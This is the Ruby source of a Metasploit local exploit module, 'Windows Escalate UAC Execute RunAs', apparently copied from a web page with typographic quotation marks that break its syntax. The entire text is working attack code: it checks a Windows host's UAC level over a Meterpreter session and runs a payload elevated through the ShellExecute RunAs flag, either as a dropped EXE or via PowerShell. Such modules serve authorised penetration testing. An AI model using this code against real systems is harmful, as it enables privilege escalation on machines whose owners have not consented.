Windows Escalate UAC Execute RunAs

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Post::Windows::Priv
include Post::Windows::Runas

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Windows Escalate UAC Execute RunAs’,
‘Description’ => %q(
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
),
‘License’ => MSF_LICENSE,
‘Author’ => [
‘mubix’, # Original technique
‘b00stfr3ak’ # Added powershell option
],
‘Platform’ => [‘win’],
‘SessionTypes’ => [‘meterpreter’],
‘Targets’ => [[‘Windows’, {}]],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2012-01-03’
))

register_options([
OptString.new(‘FILENAME’, [false, ‘File name on disk’]),
OptString.new(‘PATH’, [false, ‘Location on disk, %TEMP% used if not set’]),
OptEnum.new(‘TECHNIQUE’, [true, ‘Technique to use’, ‘EXE’, %w(PSH EXE)]),
])
end

def exploit
if is_uac_enabled?
print_status ‘UAC is Enabled, checking level…’
case get_uac_level
when UAC_NO_PROMPT
print_good ‘UAC is not enabled, no prompt for the user’
else
print_status “The user will be prompted, wait for them to click ‘Ok'”
end
else
print_good ‘UAC is not enabled, no prompt for the user’
end

case datastore[‘TECHNIQUE’]when ‘EXE’
shell_execute_exe(datastore[‘FILENAME’], datastore[‘PATH’])
when ‘PSH’
shell_execute_psh
end
end
end